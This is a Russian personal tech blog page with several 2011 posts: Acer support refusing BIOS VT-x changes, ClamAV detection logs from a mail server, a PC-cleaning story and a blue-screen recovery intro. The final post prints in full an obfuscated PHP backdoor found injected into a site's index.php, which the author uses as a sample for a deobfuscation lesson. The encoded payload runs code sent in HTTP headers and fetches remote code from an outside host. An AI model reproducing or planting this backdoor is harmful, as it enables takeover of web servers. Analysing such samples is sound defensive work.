вторник, 20 декабря 2011 г.

Пару ласковых в сторону Acer и их техподдержки в частности

Девайс (Acer Aspire One Happy 2) на гарантии и обычно это подразумевает поддержку устройства.

Пишу в техподдержку. Вопрос в части BIOS. Я использую Virtual Box для эмуляции другой операционной системы. При запуске образа с количеством процессоров более одного (выделяемых данной виртуальной машине) вылетает сообщение об ошибке:

Не удалось открыть сессию для виртуальной машины FreeBSD.

VT-x features locked or unavailable in MSR. (VERR_VMX_MSR_LOCKED_OR_DISABLED).

Код ошибки: E_FAIL (0x80004005)
Компонент: Console
Интерфейс: IConsole {1968b7d3-e3bf-4ceb-99e0-cb7c913317bb}

Исходя из спецификаций на процессор Atom N570 технология VT-x заблокирована в BIOS. Я нашел техническую документацию по разблокировке VT-x.

Прошу вас внести необходимые изменения для возможности включения/отключения VT-x в BIOS. Скриншот ошибки прилагаю.
ОС: предустановленная Windows 7 Starter 32 бита, автоматическое обновление включено.
Версия VirtualBox - 4.1.6 r74713 (последняя на сегодняшний день)
Версия BIOS: 1.14 (брал с оффициального сайта)

Ответ:
Добрый день, Благодарим Вас за обращение в службу технической поддержки. К сожелению внесение подобных изменений в BIOS, политикой компание Acer не предусмотренно. С уважением,Техническая поддержка Acer Евгений

О_о Убило просто.


PS.
Вопрос в тех поддержку Acer: имеет ли моя модель Acer Aspire One HAPPY 2 встроенный модуль 3G? Разъём в батарейном отсеке имеется, однако на сайте в технической документации сведения о его наличии отсутствуют. В некоторых обзорах написано о его наличии. В разделе драйверов на сайте также выложены драйвера для поддержки данного модуля. Прошу внести ясность.

Ответ: благодарим Вас за обращение в службу технической поддержки. К сожелению для Российского рынка 3g модуль не устанавливается. С уважением,Техническая поддержка Acer Евгений




Мда, совсем Евгений меня не радует.. А что за девайс такой HUAWEI Mobile Connect - Bus Enumerate Device у меня в устройствах светится? В общем, надо самому посидеть на досуге по данным сабжам. У кого есть инфа - поделитесь плиз. Будет круто если и BIOS зафиксим и 3G-модемчик разлочим ;)

вторник, 26 апреля 2011 г.

Clam AV - ложное срабатывание или нет [False Positive or not]??

Народ, кто знает, не пойму. В логах вирусной активности:


Sun Apr 24 22:46:26 2011 -> /var/spool/exim/scan/1QE4K9-000GQ1-P9/1QE4K9-000GQ1-P9.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 09:49:48 2011 -> /var/spool/exim/scan/1QEEg6-000MjL-Ic/1QEEg6-000MjL-Ic.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 09:52:01 2011 -> /var/spool/exim/scan/1QEEiG-000Mlz-Ej/1QEEiG-000Mlz-Ej.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 09:52:08 2011 -> /var/spool/exim/scan/1QEEiN-000Mm4-4z/1QEEiN-000Mm4-4z.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 09:52:15 2011 -> /var/spool/exim/scan/1QEEiU-000MmA-N6/1QEEiU-000MmA-N6.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 09:52:22 2011 -> /var/spool/exim/scan/1QEEib-000MmI-9f/1QEEib-000MmI-9f.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 09:52:36 2011 -> /var/spool/exim/scan/1QEEip-000Mma-Hd/1QEEip-000Mma-Hd.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 09:52:42 2011 -> /var/spool/exim/scan/1QEEiv-000Mmm-52/1QEEiv-000Mmm-52.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 09:52:47 2011 -> /var/spool/exim/scan/1QEEj0-000Mmv-NL/1QEEj0-000Mmv-NL.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 09:54:46 2011 -> /var/spool/exim/scan/1QEEku-000MoS-RQ/1QEEku-000MoS-RQ.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 09:56:50 2011 -> /var/spool/exim/scan/1QEEmv-000MsJ-89/1QEEmv-000MsJ-89.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 10:12:10 2011 -> /var/spool/exim/scan/1QEF1l-000NBR-Dp/1QEF1l-000NBR-Dp.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 10:21:59 2011 -> /var/spool/exim/scan/1QEFBH-000NSq-Ec/1QEFBH-000NSq-Ec.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 10:22:36 2011 -> /var/spool/exim/scan/1QEFBr-000NUY-W1/1QEFBr-000NUY-W1.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 10:45:15 2011 -> /var/spool/exim/scan/1QEFXl-000O6Z-Sd/1QEFXl-000O6Z-Sd.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 10:48:19 2011 -> /var/spool/exim/scan/1QEFal-000OBv-0u/1QEFal-000OBv-0u.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 12:02:23 2011 -> /var/spool/exim/scan/1QEGkO-0000Ds-5s/1QEGkO-0000Ds-5s.eml: PUA.PDF.EmbeddedJS FOUND
Mon Apr 25 12:03:36 2011 -> /var/spool/exim/scan/1QEGlZ-0000Fb-5b/1QEGlZ-0000Fb-5b.eml: PUA.PDF.EmbeddedJS FOUND
Mon Apr 25 12:04:38 2011 -> /var/spool/exim/scan/1QEGmZ-0000H8-9z/1QEGmZ-0000H8-9z.eml: PUA.PDF.EmbeddedJS FOUND
Mon Apr 25 12:05:25 2011 -> /var/spool/exim/scan/1QEGnJ-0000Ii-Eg/1QEGnJ-0000Ii-Eg.eml: PUA.PDF.EmbeddedJS FOUND
Mon Apr 25 12:55:16 2011 -> /var/spool/exim/scan/1QEHZY-0001mE-1B/1QEHZY-0001mE-1B.eml: PUA.PDF.EmbeddedJS FOUND
Mon Apr 25 15:30:29 2011 -> /var/spool/exim/scan/1QEJzh-0005qW-UI/1QEJzh-0005qW-UI.eml: PUA.PDF.EmbeddedJS FOUND
Mon Apr 25 15:43:43 2011 -> /var/spool/exim/scan/1QEKCV-0006CV-5A/1QEKCV-0006CV-5A.eml: PUA.PDF.EmbeddedJS FOUND
Mon Apr 25 18:11:28 2011 -> /var/spool/exim/scan/1QEMVV-000967-UE/1QEMVV-000967-UE.eml: PUA.PDF.EmbeddedJS FOUND
Mon Apr 25 18:14:23 2011 -> /var/spool/exim/scan/1QEMYK-00098d-VU/1QEMYK-00098d-VU.eml: PUA.PDF.EmbeddedJS FOUND
Mon Apr 25 18:15:32 2011 -> /var/spool/exim/scan/1QEMZR-00099L-BH/1QEMZR-00099L-BH.eml: PUA.PDF.EmbeddedJS FOUND
Mon Apr 25 18:17:07 2011 -> /var/spool/exim/scan/1QEMaz-0009AY-Av/1QEMaz-0009AY-Av.eml: PUA.PDF.EmbeddedJS FOUND
Mon Apr 25 18:18:14 2011 -> /var/spool/exim/scan/1QEMc3-0009BY-PZ/1QEMc3-0009BY-PZ.eml: PUA.PDF.EmbeddedJS FOUND
Mon Apr 25 22:44:11 2011 -> /var/spool/exim/scan/1QEQlH-000BSN-Rv/1QEQlH-000BSN-Rv.eml: PUA.PDF.EmbeddedJS FOUND
Mon Apr 25 22:54:33 2011 -> /var/spool/exim/scan/1QEQvY-000BX2-7N/1QEQvY-000BX2-7N.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 22:54:41 2011 -> /var/spool/exim/scan/1QEQvg-000BXE-Qw/1QEQvg-000BXE-Qw.eml: PUA.PDF.OpenActionObject FOUND
Mon Apr 25 22:54:46 2011 -> /var/spool/exim/scan/1QEQvl-000BXN-MT/1QEQvl-000BXN-MT.eml: PUA.PDF.OpenActionObject FOUND
Tue Apr 26 11:07:11 2011 -> /var/spool/exim/scan/1QEcMZ-000ING-D5/1QEcMZ-000ING-D5.eml: Worm.Mydoom.I FOUND
Tue Apr 26 11:07:14 2011 -> /var/spool/exim/scan/1QEcMb-000ING-9L/1QEcMb-000ING-9L.eml: Worm.Mydoom.I FOUND
Tue Apr 26 11:07:31 2011 -> /var/spool/exim/scan/1QEcMs-000INz-Pr/1QEcMs-000INz-Pr.eml: Suspect.DoubleExtension-zippwd-9 FOUND
Tue Apr 26 16:13:30 2011 -> /var/spool/exim/scan/1QEh90-0000cI-A8/1QEh90-0000cI-A8.eml: Worm.Mydoom.I FOUND
Видно, что основную массу срабатываний составляют некие 
PUA.PDF.EmbeddedJS, PUA.PDF.OpenActionObject.
 
Народ активно жалуется, что не отправлялись pdf-файлы, которые раньше уходили нормально. Собственно, вопрос, это ложное срабатывание или нет??? Потому что сегодня уже ничего подобного не наблюдается... Случайно сигнатуры в базу попали?? Кто в курсе, подскажите плиз, у меня к сожалениб нет на руках образца файла. 

воскресенье, 20 февраля 2011 г.

Как довести компьютер до ручки?? =)

Привезли компьютер, говорят перезагружается, просили посмотреть =) Сперва думал что-то из серии оперативная память/жесткий диск/перегрев, но даже не включая компьютер всё стало ясно =)))) Итак, сегодня у нас маленький IT-комикс.

Главный положительный герой:
Это Samsung VC-5915 (Red)
Он у нас в роли Мойдодыра сегодня =) Теперь антипод и его главный противник:
Это как вы поняли системный блок..
Ну а врага, как известно, надо знать в лицо:
Это системный блок, собранный в компании Столица
А теперь, резонный вопрос. В чем же суть борьбы нашего Мойдодыра  с корнем зла в лице системного блока собранного в фирме Столица??? Дело в том, что после любого перемещения данного системника, остаются весьма характерные следы. Примерно такие:
Фуууууу =)
О май гадабл!! =)

Под катом продолжение, много картинок =) Честно говоря, давно такой жести не видел =) Всем кто озадачен вопросом чистить или не чистить системный блок внутри рекомендуется к просмотру.

суббота, 19 февраля 2011 г.

HELP!! Синий экран!! UNMOUNTABLE_BOOT_VOLUME

Синий экран смерти при загрузке
Синий экран и сообщение UNMOUNTABLE_BOOT_VOLUME. Как на картинке. Выскакивает практически сразу при загрузке. Неприятная штука, которая однозначно свидетельствуют о проблемах с жестким. Теперь что с ними делать. Правильная последовательность действий, которая при хорошем раскладе позволит вам загрузиться в вашу Windows и оглядеться привычным для вас способом, сделать резервные копии важных данных. Самое главное, нам обязательно потребуется загрузочный диск. Можно использовать оригинальный установочный диск Microsoft Windows XP, а можно использовать разного рода Hirens Boot CD или даже Zver DVD как, пожалуй, более комплексный инструмент по восстановлению системы. Проблему надо решать и основным ориентиром будем считать минимальное время решения проблемы и минимальность внесения изменений в структуру файловой систем и геометрии жесткого диска.

пятница, 18 февраля 2011 г.

Файловый хостинг с прямой ссылкой на скачивание

Беда приходит откуда не ждешь. Приболел немного.. остался дома А тут звонок срочный с работы. В итоге надо перекинуть файл с домашнего компьютера ~2ГБ на компьютер в корпоративной сети. При этом в Интернет светит лишь корпоративный веб-сервер под управлением FreeBSD. А домашний компьютер находится во внутренней провайдерской сети и имеет внутренний ip вида 10.1.15.2. Вот незадача. Итого мне срочно понадобилось файловое хранилище отвечающее следующим требованиям:
  1. Возможность скачивания по прямой ссылке
  2. Возможность быстрого удаления файлов после скачки
  3. Ограничение на суммарный объём предоставляемого места более 2.5ГБ
  4. Ограничение на объём одного файла более 2.5ГБ
  5. Бесплатный или безвозмездный =)
Читаем дальше.

четверг, 17 февраля 2011 г.

Determinator. Versio 1.12.

В преддверии очередного конкурса RuCTF хочу рассказать о небольшой задачке, которую подкинула сама жизнь. Всё началось с того, что мною были предоставлены логин и пароль для доступа к хостинг-площадке. Являясь администратором данного сервера, я периодически мониторю пользовательскую активность. Не буду приводить лишние логи, просто увидел подозрительную пользовательскую активность и заметил, что в файлах на моем веб-сервере появился лишний код, причем очень любопытный. Вот например, примерчик из index.php:

<?php /*versio:1.12*/if (!defined ("determinator")){eval(base64_decode('ZnVuY3Rpb24gdVAxUFFvWmZhZXpHN0xDSWVIek10OTczZ0RJZ2NnbDlQbWNmU0VkTkRMUUJoWGg4T2E1MEY0bGg0SDIwb0NGcSgkcWwxNk9HQTNRZkl2MlFYSjZkSEF1ZzhKbWZyRXBhaURjcm1FRnJPZFRWVFNnUjFDb0pmQVVRUDNqR3pORVV4bCl7cmV0dXJuIGV2YWwoJHFsMTZPR0EzUWZJdjJRWEo2ZEhBdWc4Sm1mckVwYWlEY3JtRUZyT2RUVlRTZ1IxQ29KZkFVUVAzakd6TkVVeGwpO307ZnVuY3Rpb24gaG9lMTdwcDRRYkVYZkZlU0dkTFZaWG5yMFFwWmY0aE5qc0lidlA5RkJEVVJoUVg5cmFHYUpWZEVIZEp6c3E3bygkek5WNUxwMHowclBqRzBhdHhMcHhBTWViRTlSaTZDTklEQ1FqdnJqYloyZHhpM0JYM0RBNDBhMDdPRWFDYTM4MSl7cmV0dXJuIGJhc2U2NF9kZWNvZGUoJHpOVjVMcDB6MHJQakcwYXR4THB4QU1lYkU5Umk2Q05JRENRanZyamJaMmR4aTNCWDNEQTQwYTA3T0VhQ2EzODEpO307ZnVuY3Rpb24gZUFmQjJmZFVRSkVQUFNGYXFtbkJtb2gyeG9IZXZnc21RSkQxZGFkZ1JCUjdxc2pOZ2VPR1Q4NmxhTGxvTEUxbCgkbENpaWV6c0YzYm1Uam9pNjlHWkxFemQzaTg1WGNGYnhBbE9EZ05neGRpQTRCUWZzTW5yQXRYdDFwVFpTZVNUMCl7cmV0dXJuICRsQ2lpZXpzRjNibVRqb2k2OUdaTEV6ZDNpODVYY0ZieEFsT0RnTmd4ZGlBNEJRZnNNbnJBdFh0MXBUWlNlU1QwO307'));uP1PQoZfaezG7LCIeHzMt973gDIgcgl9PmcfSEdNDLQBhXh8Oa50F4lh4H20oCFq("\$rtC2fidXsiuJ49bsSRGVGTulRE1iR0IPOPLPPFlX7XOQxg5qJMdtGaqARqVczODX=\"ID8+PD9waHAKDQppZiAoIWRlZmluZWQoJ2RldGVybWluYXRvcicpKXsNCglmdW5jdGlvbiBmaWx0ZXIoKXsNCgkJZm9yZWFjaCAoJF9HRVQgYXMgJGs9PiR2KXsNCgkJCWlmIChzdHJwb3MoJHYsJ3VuaW9uJykpeyRfR0VUWyRrXT0nJzt9DQoJCQllbHNlaWYgKHN0cnBvcygkdiwnc2VsZWN0JykpeyRfR0VUWyRrXT0nJzt9DQoJCX0NCgl9DQoJZnVuY3Rpb24gZ2V0ZmlsZSgkdXJsKXsNCgkJaWYgKGluaV9nZXQoJ2FsbG93X3VybF9mb3BlbicpID09ICcxJykgew0KCQkJcmV0dXJuIEBmaWxlX2dldF9jb250ZW50cygkdXJsKTsNCgkJfQ0KCQllbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnY3\";\$qzag2PJGViBvNroZVJBtucpirLzhqhsH4ba8NtdfGB3vVp4DJLXCHaG2aVedPTGD=\$rtC2fidXsiuJ49bsSRGVGTulRE1iR0IPOPLPPFlX7XOQxg5qJMdtGaqARqVczODX.\"VybF9pbml0Jykpew0KCQkJJGNoID0gQGN1cmxfaW5pdCgpOw0KCQkJQGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsJHVybCk7DQoJCQlAY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUixmYWxzZSk7DQoJCQlAY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLHRydWUpOw0KCQkJQGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCw1KTsNCgkJCWlmICgkZGF0YSA9IEBjdXJsX2V4ZWMoJGNoKSkge3JldHVybiAkZGF0YTt9DQoJCQlAY3VybF9jbG9zZSgkY2gpOw0KCQl9DQoJCWVsc2Ugew0KCQkJcmV0dXJuICc8aW1nIHNyYz0iJy4k\";\$izSFvLOZZfLx0L3Id8vqshucRpppZ56jGTLnQnBHaBhc6EzjZTm1U4u2M2TnNFnO=\$qzag2PJGViBvNroZVJBtucpirLzhqhsH4ba8NtdfGB3vVp4DJLXCHaG2aVedPTGD.\"dXJsLiciIHdpZHRoPSIxcHgiIGhlaWdodD0iMXB4IiAvPic7DQoJCX0NCgl9DQoJZnVuY3Rpb24gdXBkKCRmaWxlLCR1cmwpew0KCQkkaDA9QGZvcGVuKCRmaWxlLCd3Jyk7DQoJCUBmY2xvc2UoJGgwKTsNCgkJaWYgKEBpc19maWxlKCRmaWxlKSl7CXdyaXRlKCRmaWxlLGdldGZpbGUoJHVybCkpIDt9Ow0KCX0NCglmdW5jdGlvbiB3cml0ZSgkZmlsZSwkY29udGVudCl7DQoJCWlmIChAaXNfZmlsZSgkZmlsZSkpew0KCQkJJGg9QGZvcGVuKCRmaWxlLCd3Jyk7DQoJCQlAZndyaXRlKCRoLCRjb250ZW50KTsNCgkJCUBmY2xvc2UoJGgpOw0KCQkJQGhlYWRlcignWV9PdXQ6IGIycz0nKTsNCg\";\$bDJpgalTmsc753HoQ8zdILOHvhHBHqVC724mveCCC4Gb0ESMOM5q1q5zHnfQ0SmU=\$izSFvLOZZfLx0L3Id8vqshucRpppZ56jGTLnQnBHaBhc6EzjZTm1U4u2M2TnNFnO.\"kJfQ0KCX0NCglpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsMCk7DQoJJHR5cGU9J2JvdCc7DQoJJHZlcj0nMS4xMic7DQoJJGVuPSJiYXNlNjRfZW5jb2RlIjsNCgkkZGU9ImJhc2U2NF9kZWNvZGUiOw0KCSRob3N0PXN0cnRvbG93ZXIoQCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7DQoJJHNjPUBtZDUoJGhvc3QuUEhQX1ZFUlNJT04uJHZlci5QSFBfT1MuJzQnKTsNCglkZWZpbmUoJ2RldGVybWluYXRvcicsMSk7IGZpbHRlcigpOw0KCWlmICgkdXJpPSRob3N0LkAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSl7DQoJCSR0bXA9Jy90bXAvJzsNCgkJaWYgKCFlbXB0eSgkX0VOVlsnVE1QJ10pKSB7\";\$sHP7ZQTANrHhN9c80jOBI7z1Qfx62qvOH1XeVuRFXGhL0vzPEJbZ9QoGx7mBlD3m=\$bDJpgalTmsc753HoQ8zdILOHvhHBHqVC724mveCCC4Gb0ESMOM5q1q5zHnfQ0SmU.\"ICR0bXAgPSAgJF9FTlZbJ1RNUCddLicvJzsgfQ0KCQlpZiAoIWVtcHR5KCRfRU5WWydUTVBESVInXSkpIHsgJHRtcCA9ICRfRU5WWydUTVBESVInXS4nLyc7IH0NCgkJaWYgKCFlbXB0eSgkX0VOVlsnVEVNUCddKSkgeyAkdG1wID0gJF9FTlZbJ1RFTVAnXS4nLyc7IH0NCgkJJHRtcD0kdG1wLicuJy4kc2M7DQoJCWlmIChAJF9TRVJWRVJbIkhUVFBfWV9BVVRIIl09PSRzYyl7DQoJCQlAaGVhZGVyKCdZX1ZlcnNpbzogJy4kdmVyLiR0eXBlKTsNCgkJCWlmICgkY29kZT0kZGUoQCRfU0VSVkVSWydIVFRQX0VYRUNQSFAnXSkpew0KCQkJCUBldmFsKCRjb2RlKTsNCgkJCQlleGl0KDApOw0KCQ\";\$cjULv3a3LSpp9LT13Ffq3AeTimxeCjim8qCm1U0zObFc1zOfHx5G5M9Zi6xgt0T9=\$sHP7ZQTANrHhN9c80jOBI7z1Qfx62qvOH1XeVuRFXGhL0vzPEJbZ9QoGx7mBlD3m.\"kJfQ0KCQkJaWYgKCRjbWQ9JGRlKEAkX1NFUlZFUlsnSFRUUF9VUERBVEUnXSkpe3VwZCgkdG1wLCRjbWQpO30NCgkJCWlmICgkY21kPSRkZShAJF9TRVJWRVJbJ0hUVFBfUFVUQ09ERSddKSl7d3JpdGUoJHRtcCwkY21kKTt9DQoJCX0NCgkJJHVyaT1AdXJsZW5jb2RlKCR1cmkpOw0KCQlpZiAoQGlzX2ZpbGUoJHRtcCkpe0BpbmNsdWRlX29uY2UgKCR0bXApO30NCgkJZWxzZSB7dXBkKCR0bXAsImh0dHA6Ly8iLiJnZXRwcm90Ii4ib2J5Ii4ibnVtYmVyLiIuImNvbSIuIi9pL3JlbSIuIi5waHA/dT0iLiR1cmkuIiZrPSIuJHNjLiImdD0iLiR0eXBlKTt9DQogICAgfQ0KfQ0KPz48P3BocCA=\"; uP1PQoZfaezG7LCIeHzMt973gDIgcgl9PmcfSEdNDLQBhXh8Oa50F4lh4H20oCFq(eAfB2fdUQJEPPSFaqmnBmoh2xoHevgsmQJD1dadgRBR7qsjNgeOGT86laLloLE1l(hoe17pp4QbEXfFeSGdLVZXnr0QpZf4hNjsIbvP9FBDURhQX9raGaJVdEHdJzsq7o(\$cjULv3a3LSpp9LT13Ffq3AeTimxeCjim8qCm1U0zObFc1zOfHx5G5M9Zi6xgt0T9))); ");}?>
Как видите, говоря "очень любопытный" я не лукавил)) Опытный глаз сразу поймет, что это обфусцированный код. Задача деобфускации всегда порождает очень много вопросов, особенно у тех, кто впервые сталкивается с обфусцированным кодом. Причем скажу, что написать какой-то универсальный деобфускатор архисложная задача ввиду очень большого числа подходов и методов к обфускации кода. Поэтому на живом реальном примере покажу, что надо делать с такой штукой.